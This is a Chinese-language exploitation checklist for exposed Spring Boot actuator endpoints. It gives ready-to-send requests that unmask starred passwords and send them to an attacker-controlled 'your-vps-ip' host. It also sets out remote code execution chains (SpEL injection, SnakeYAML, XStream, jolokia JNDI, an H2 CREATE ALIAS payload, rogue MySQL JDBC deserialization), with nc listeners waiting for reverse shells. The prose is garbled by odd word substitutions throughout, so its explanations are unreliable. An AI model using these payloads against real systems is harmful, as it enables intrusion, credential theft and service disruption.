版本知识

Spring Cloud 是基于 Spring Boot 来进行构建做事,并供应如配置管理、做事注册与创造、智能路由等常见功能的帮助快速开拓分布式系统的系列框架的有序凑集。

常见组件的版本相互依赖关系:

依赖项

版本列表及依赖组件版本

sprintboot启动jsp破绽应用Spring Boot 相干破绽应用 Check List JavaScript

spring-boot-starter-parent

spring-boot-starter-parent

spring-boot-dependencies

spring-boot-dependencies

spring-cloud-dependencies

spring-cloud-dependencies

Spring Cloud 与 Spring Boot 大版本之间的依赖关系:

Spring Cloud

Spring Boot

Angel

兼容 Spring Boot 1.2.x

Brixton

兼容 Spring Boot 1.3.x、1.4.x

Camden

兼容 Spring Boot 1.4.x、1.5.x

Dalston

兼容 Spring Boot 1.5.x,不兼容 2.0.x

Edgware

兼容 Spring Boot 1.5.x,不兼容 2.0.x

Finchley

兼容 Spring Boot 2.0.x,不兼容 1.5.x

Greenwich

兼容 Spring Boot 2.1.x

Hoxton

兼容 Spring Boot 2.2.x

Spring Cloud 小版本号的后缀及含义:

版本号后缀

含义

BUILD-SNAPSHOT

快照版,代码不是固定的,处于变革之中

MX

里程碑版

RCX

候选发布版

RELEASE

正式发布版

SRX

(修复缺点和 bug 并再次发布的)正式发布版

信息透露路由地址及接口调用详情泄露

开拓环境切换为线上生产环境时,干系职员没有变动配置文件或忘却切换配置环境,导致此漏洞

直接访问以下几个路由,验证漏洞是否存在:

/api-docs/v2/api-docs/swagger-ui.html

一些可能会碰着的接口路由变形:

/api.html/sw/swagger-ui.html/api/swagger-ui.html/template/swagger-ui.html/spring-security-rest/api/swagger-ui.html/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法得到参数干系信息:

/mappings/actuator/mappings/metrics/actuator/metrics/beans/actuator/beans/configprops/actuator/configprops

一样平常来讲,知道 spring boot 运用的干系接口和传参信息并不能算是漏洞;

但是可以检讨暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。

配置不当而暴露的路由

紧张是由于程序员开拓时没故意识到暴露路由可能会造成安全风险,或者没有按照标准流程开拓,忘却上线时须要修正/切换生产环境的配置

/actuator/auditevents/autoconfig/beans/caches/conditions/configprops/docs/dump/env/flyway/health/heapdump/httptrace/info/intergrationgraph/jolokia/logfile/loggers/liquibase/metrics/mappings/prometheus/refresh/scheduledtasks/sessions/shutdown/trace/threaddump/actuator/auditevents/actuator/beans/actuator/health/actuator/conditions/actuator/configprops/actuator/env/actuator/info/actuator/loggers/actuator/heapdump/actuator/threaddump/actuator/metrics/actuator/scheduledtasks/actuator/httptrace/actuator/mappings/actuator/jolokia/actuator/hystrix.stream

个中对探求漏洞比较主要的接口的有:

/env、/actuator/envGET 要求 /env 会透露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会透露密码明文;同时有一定概率可以通过 POST 要求 /env 接口设置一些属性,触发干系 RCE 漏洞。
/jolokia通过 /jolokia/list 接口探求可以利用的 MBean,触发干系 RCE 漏洞;/trace一些 http 要求包访问跟踪信息,有可能创造有效的 cookie 信息

获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 号更换达到脱敏的效果

利用条件:目标网站存在 /jolokia 或 /actuator/jolokia 接口目标利用了 jolokia-core 依赖(版本哀求暂未知)利用方法:

步骤一: 找到想要获取的属性名

GET 要求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 掩蔽的属性值对应的属性名。

步骤二: jolokia 调用干系 Mbean 获取明文

将下面示例中的 security.user.password 更换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

调用 org.springframework.boot Mbean(可能更通用)

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokiaContent-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokiaContent-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}调用 org.springframework.cloud.context.environment Mbean(须要 spring cloud 干系依赖)

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokiaContent-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokiaContent-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}获取被星号脱敏的密码的明文 (方法二)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 号更换达到脱敏的效果

利用条件:可以 GET 要求目标网站的 /env可以 POST 要求目标网站的 /env可以 POST 要求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)目标利用了 spring-cloud-starter-netflix-eureka-client 依赖目标可以要求攻击者的做事器(要求可出外网)利用方法:

步骤一: 找到想要获取的属性名

GET 要求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 掩蔽的属性值对应的属性名。

步骤二: 利用 nc 监听 HTTP 要求

在自己掌握的外网做事器上监听 80 端口:

nc -lvk 80

步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性

将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换本钱身想要获取的对应的星号 掩蔽的属性名;

your-vps-ip 换本钱身外网做事器的真实 ip 地址。

spring 1.x

POST /envContent-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

POST /actuator/envContent-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

步骤四: 刷新配置

spring 1.x

POST /refreshContent-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refreshContent-Type: application/json

步骤五: 解码属性值

正常的话,此时 nc 监听的做事器会收到目标发来的要求,个中包含类似如下 Authorization 头内容:

Authorization: Basic dmFsdWU6MTIzNDU2

将个中的 dmFsdWU6MTIzNDU2部分利用 base64 解码,即可得到类似明文值 value:123456,个中的 123456 即是目标星号 脱敏前的属性值明文。

获取被星号脱敏的密码的明文 (方法三)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 号更换达到脱敏的效果

利用条件:通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 要求目标可以要求攻击者的做事器(要求可出外网)利用方法:

参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 要求的过程中,在 url path 中利用占位符带出数据

步骤一: 找到想要获取的属性名

GET 要求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 掩蔽的属性值对应的属性名。

步骤二: 利用 nc 监听 HTTP 要求

在自己掌握的外网做事器上监听 80 端口:

nc -lvk 80

步骤三: 触发对外 http 要求

spring.cloud.bootstrap.location 方法(同时适用于明文数据中有分外 url 字符的情形):

spring 1.x

POST /envContent-Type: application/x-www-form-urlencodedspring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/envContent-Type: application/json{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有分外 url 字符的情形):

spring 1.x

POST /envContent-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

POST /actuator/envContent-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

步骤四: 刷新配置

spring 1.x

POST /refreshContent-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refreshContent-Type: application/json

获取被星号脱敏的密码的明文 (方法四)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 号更换达到脱敏的效果

利用条件:可正常 GET 要求目标 /heapdump 或 /actuator/heapdump 接口利用方法:

步骤一: 找到想要获取的属性名

GET 要求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 掩蔽的属性值对应的属性名。

步骤二: 下载 jvm heap 信息

下载的 heapdump 文件大小常日在 50M—500M 之间,有时候也可能会大于 2G

GET 要求目标的 /heapdump 或 /actuator/heapdump 接口,下载运用实时的 JVM 堆信息

步骤三: 利用 MAT 得到 jvm heap 中的密码明文

参考 文章 方法,利用 Eclipse Memory Analyzer 工具的 OQL 语句 select from org.springframework.web.context.support.StandardServletEnvironment, 赞助快速过滤剖析,得到密码明文

远程代码实行

由于 spring boot 干系漏洞可能是多个组件漏洞组合导致的,以是有些漏洞名字起的不太正规,以能区分为准

whitelabel error page SpEL RCE利用条件:spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0至少知道一个触发 springboot 默认缺点页面的接口及参数名利用方法:

步骤一:找到一个正常传参处

比如创造访问 /article?id=xxx ,页面会报状态码为 500 的缺点: Whitelabel Error Page,则后续 payload 都将会在参数 id 处考试测验。

步骤二:实行 SpEL 表达式

输入 /article?id=${77} ,如果创造报错页面将 77 的值 49 打算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 0x java 字节形式,方便实行任意代码:

# coding: utf-8result = ""target = 'open -a Calculator'for x in target: result += hex(ord(x)) + ","print(result.rstrip(','))

实行 open -a Calculator 命令

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}漏洞事理:spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中此时 URL 中的参数值会用 parseStringValue 方法进行递归解析个中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析实行,造成 RCE 漏洞漏洞剖析:

SpringBoot SpEL表达式注入漏洞-剖析与复现

漏洞环境:

repository/springboot-spel-rce

正常访问:

http://127.0.0.1:9091/article?id=66

实行 open -a Calculator 命令:

http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}spring cloud SnakeYAML RCE利用条件:可以 POST 要求目标网站的 /env 接口设置属性可以 POST 要求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE目标可以要求攻击者的 HTTP 做事器(要求可出外网)利用方法:

步骤一: 托管 yml 和 jar 文件

在自己掌握的 vps 机器上开启一个大略 HTTP 做事器,端口只管即便利用常见 HTTP 做事端口(80、443)

# 利用 python 快速开启 http serverpython2 -m SimpleHTTPServer 80python3 -m http.server 80

在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下:

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]]]

在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要实行的代码,代码编写及编译办法参考 yaml-payload。

步骤二: 设置 spring.cloud.bootstrap.location 属性

spring 1.x

POST /envContent-Type: application/x-www-form-urlencodedspring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

POST /actuator/envContent-Type: application/json{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

步骤三: 刷新配置

spring 1.x

POST /refreshContent-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refreshContent-Type: application/json漏洞事理:spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址refresh 触发目标机器要求远程 HTTP 做事器上的 yml 文件,得到其内容SnakeYAML 由于存在反序列化漏洞,以是解析恶意 yml 内容时会完成指定的动作先是触发 java.net.URL 去拉取远程 HTTP 做事器上的恶意 jar 文件然后是探求 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化实例化类时实行恶意代码,造成 RCE 漏洞漏洞剖析:

​ Exploit Spring Boot Actuator 之 Spring Cloud Env 学习条记

漏洞环境:

repository/springcloud-snakeyaml-rce

正常访问:

http://127.0.0.1:9092/enveureka xstream deserialization RCE利用条件:可以 POST 要求目标网站的 /env 接口设置属性可以 POST 要求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)目标利用的 eureka-client < 1.8.7(常日包含在 spring-cloud-starter-netflix-eureka-client 依赖中)目标可以要求攻击者的 HTTP 做事器(要求可出外网)利用方法:

步骤一:架设相应恶意 XStream payload 的网站

供应一个依赖 Flask 并符合哀求的 python 脚本示例,浸染是利用目标 Linux 机器上自带的 python 来反弹shell。

利用 python 在自己掌握的做事器上运行以上的脚本,并根据实际情形修正脚本中反弹 shell 的 ip 地址和 端口号。

步骤二:监听反弹 shell 的端口

一样平常利用 nc 监听端口,等待反弹 shell

nc -lvp 443

步骤三:设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

POST /envContent-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/envContent-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

步骤四:刷新配置

spring 1.x

POST /refreshContent-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refreshContent-Type: application/json漏洞事理:eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址refresh 触发目标机器要求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload目标机器干系依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞漏洞剖析:

​ Spring Boot Actuator从未授权访问到getshell

漏洞环境:

repository/springboot-eureka-xstream-rce

正常访问:

http://127.0.0.1:9093/envjolokia logback JNDI RCE利用条件:目标网站存在 /jolokia 或 /actuator/jolokia 接口目标利用了 jolokia-core 依赖(版本哀求暂未知)并且环境中存在干系 MBean目标可以要求攻击者的 HTTP 做事器(要求可出外网)JNDI 注入的目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 办法)利用方法:

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。

步骤二:托管 xml 文件

在自己掌握的 vps 机器上开启一个大略 HTTP 做事器,端口只管即便利用常见 HTTP 做事端口(80、443)

# 利用 python 快速开启 http serverpython2 -m SimpleHTTPServer 80python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件,内容如下:

<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /></configuration>

步骤三:准备要实行的 Java 代码

编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java,

利用兼容低版本 jdk 的办法编译:

javac -source 1.5 -target 1.5 JNDIObject.java

然后将天生的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

步骤四:架设恶意 ldap 做事

下载 marshalsec ,利用下面命令架设对应的 ldap 做事:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

一样平常利用 nc 监听端口,等待反弹 shell

nc -lv 443

步骤六:从外部 URL 地址加载日志配置文件

⚠️ 如果目标成功要求了example.xml 并且 marshalsec 也吸收到了目标要求,但是目标没有要求 JNDIObject.class,大概率是由于目标环境的 jdk 版本太高,导致 JNDI 利用失落败。

更换实际的 your-vps-ip 地址访问 URL 触发漏洞:

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml漏洞事理:直接访问可触发漏洞的 URL,相称于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法目标机器要求外部日志配置文件 URL 地址,得到恶意 xml 文件内容目标机器利用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 做事器地址目标机器要求恶意 JNDI 做事器,导致 JNDI 注入,造成 RCE 漏洞漏洞剖析:

​ spring boot actuator rce via jolokia

漏洞环境:

repository/springboot-jolokia-logback-rce

正常访问:

http://127.0.0.1:9094/envjolokia Realm JNDI RCE利用条件:目标网站存在 /jolokia 或 /actuator/jolokia 接口目标利用了 jolokia-core 依赖(版本哀求暂未知)并且环境中存在干系 MBean目标可以要求攻击者的做事器(要求可出外网)JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI 办法)利用方法:

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。

步骤二:准备要实行的 Java 代码

编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java。

步骤三:托管 class 文件

在自己掌握的 vps 机器上开启一个大略 HTTP 做事器,端口只管即便利用常见 HTTP 做事端口(80、443)

# 利用 python 快速开启 http serverpython2 -m SimpleHTTPServer 80python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 做事器根目录。

步骤四:架设恶意 rmi 做事

下载 marshalsec ,利用下面命令架设对应的 rmi 做事:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

一样平常利用 nc 监听端口,等待反弹 shell

nc -lvp 443

步骤六:发送恶意 payload

根据实际情形修正 springboot-realm-jndi-rce.py 脚本中的目标地址,RMI 地址、端口等信息,然后在自己掌握的做事器上运行。

漏洞事理:利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm设置 connectionURL 地址为 RMI Service URL设置 contextFactory 为 RegistryContextFactory停滞 Realm启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞漏洞剖析:

​ Yet Another Way to Exploit Spring Boot Actuators via Jolokia

漏洞环境:

repository/springboot-jolokia-logback-rce

正常访问:

http://127.0.0.1:9094/envh2 database query RCE利用条件:可以 POST 要求目标网站的 /env 接口设置属性可以 POST 要求目标网站的 /restart 接口重启运用(存在 spring-boot-starter-actuator 依赖)存在 com.h2database.h2 依赖(版本哀求暂未知)利用方法:

步骤一:设置 spring.datasource.hikari.connection-test-query 属性

⚠️ 下面payload 中的 'T5' 方法每一次实行命令后都须要改换名称 (如 T6) ,然后才能被重新创建利用,否则下次 restart 重启运用时漏洞不会被触发

spring 1.x(无回显实行命令)

POST /envContent-Type: application/x-www-form-urlencodedspring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

spring 2.x(无回显实行命令)

POST /actuator/envContent-Type: application/json{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

步骤二:重启运用

spring 1.x

POST /restartContent-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restartContent-Type: application/json漏洞事理:spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 CREATE ALIAS 创建自定义函数的 SQL 语句其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被实行的 SQL 语句restart 重启运用,会建立新的数据库连接如果 SQL 语句中的自定义函数还没有被实行过,那么自定义函数就会被实行,造成 RCE 漏洞漏洞剖析:

​ remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

漏洞环境:

repository/springboot-h2-database-rce

正常访问:

http://127.0.0.1:9096/actuator/env0x07:h2 database console JNDI RCE利用条件:存在 com.h2database.h2 依赖(版本哀求暂未知)spring 配置中启用 h2 console spring.h2.console.enabled=true目标可以要求攻击者的做事器(要求可出外网)JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 办法)利用方法:

步骤一:访问路由得到 jsessionid

直接访问目标开启 h2 console 的默认路由 /h2-console,目标会跳转到页面 /h2-console/login.jsp?jsessionid=xxxxxx,记录下实际的 jsessionid=xxxxxx 值。

步骤二:准备要实行的 Java 代码

编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java,

利用兼容低版本 jdk 的办法编译:

javac -source 1.5 -target 1.5 JNDIObject.java

然后将天生的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

步骤三:托管 class 文件

在自己掌握的 vps 机器上开启一个大略 HTTP 做事器,端口只管即便利用常见 HTTP 做事端口(80、443)

# 利用 python 快速开启 http serverpython2 -m SimpleHTTPServer 80python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 做事器根目录。

步骤四:架设恶意 ldap 做事

下载 marshalsec ,利用下面命令架设对应的 ldap 做事:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五:坚挺反弹 shell 的端口

一样平常利用 nc 监听端口,等待反弹 shell

nc -lv 443

步骤六:发包触发 JNDI 注入

根据实际情形,更换下面数据中的 jsessionid=xxxxxx、www.example.com 和 ldap://your-vps-ip:1389/JNDIObject

POST /h2-console/login.do?jsessionid=xxxxxxHost: www.example.comContent-Type: application/x-www-form-urlencodedReferer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxxlanguage=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=漏洞剖析:

​ Spring Boot + H2数据库JNDI注入

漏洞环境:

repository/springboot-h2-database-rce

正常访问:

http://127.0.0.1:9096/h2-console

mysql jdbc deserialization RCE利用条件:可以 POST 要求目标网站的 /env 接口设置属性可以 POST 要求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)目标环境中存在 mysql-connector-java 依赖目标可以要求攻击者的做事器(要求可出外网)利用方法:

步骤一:查看环境依赖

GET 要求 /env 或 /actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java 关键词,并记录下其版本号(5.x 或 8.x);

搜索并不雅观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collections、Jdk7u21、Jdk8u20 等;

搜索 spring.datasource.url 关键词,记录下其 value 值,方便后续规复其正常 jdbc url 值。

步骤二:架设恶意 rogue mysql server

在自己掌握的做事器上运行 springboot-jdbc-deserialization-rce.py 脚本,并利用 ysoserial 自定义要实行的命令:

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

在脚本同目录下天生 payload.ser 反序列化 payload 文件,供脚本利用。

步骤三:设置 spring.datasource.url 属性

⚠️ 修正此属性会暂时导致网站所有的正常数据库做事不可用,会对业务造成影响,请谨慎操作!

mysql-connector-java 5.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

POST /envContent-Type: application/x-www-form-urlencodedspring.datasource.url=对应属性值

spring 2.x

POST /actuator/envContent-Type: application/json{"name":"spring.datasource.url","value":"对应属性值"}

步骤四:刷新配置

spring 1.x

POST /refreshContent-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refreshContent-Type: application/json

步骤五:触发数据库查询

考试测验访问网站已知的数据库查询的接口,例如: /product/list ,或者探求其他办法,主动触发源网站进行数据库查询,然后漏洞会被触发

步骤六:规复正常 jdbc url

反序列化漏洞利用完成后,利用 步骤三 的方法规复 步骤一 中记录的 spring.datasource.url 的原始 value 值

漏洞事理:spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址refresh 刷新后设置了一个新的 spring.datasource.url 属性值当网站进行数据库查询等操作时,会考试测验利用恶意 mysql jdbc url 建立新的数据库连接然后恶意 mysql server 就会在建立连接的得当阶段返回反序列化 payload 数据目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞漏洞剖析:

​ New-Exploit-Technique-In-Java-Deserialization-Attack

漏洞环境:

须要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password,担保可以正常连上 mysql 数据库,否则程序启动时就会报错退出

repository/springboot-mysql-jdbc-rce

正常访问:

http://127.0.0.1:9097/actuator/env

发送完 payload 后触发漏洞:

http://127.0.0.1:9097/product/list

末了!


我整理了干系的资料与工具,有须要的朋友可以关注+私我哦!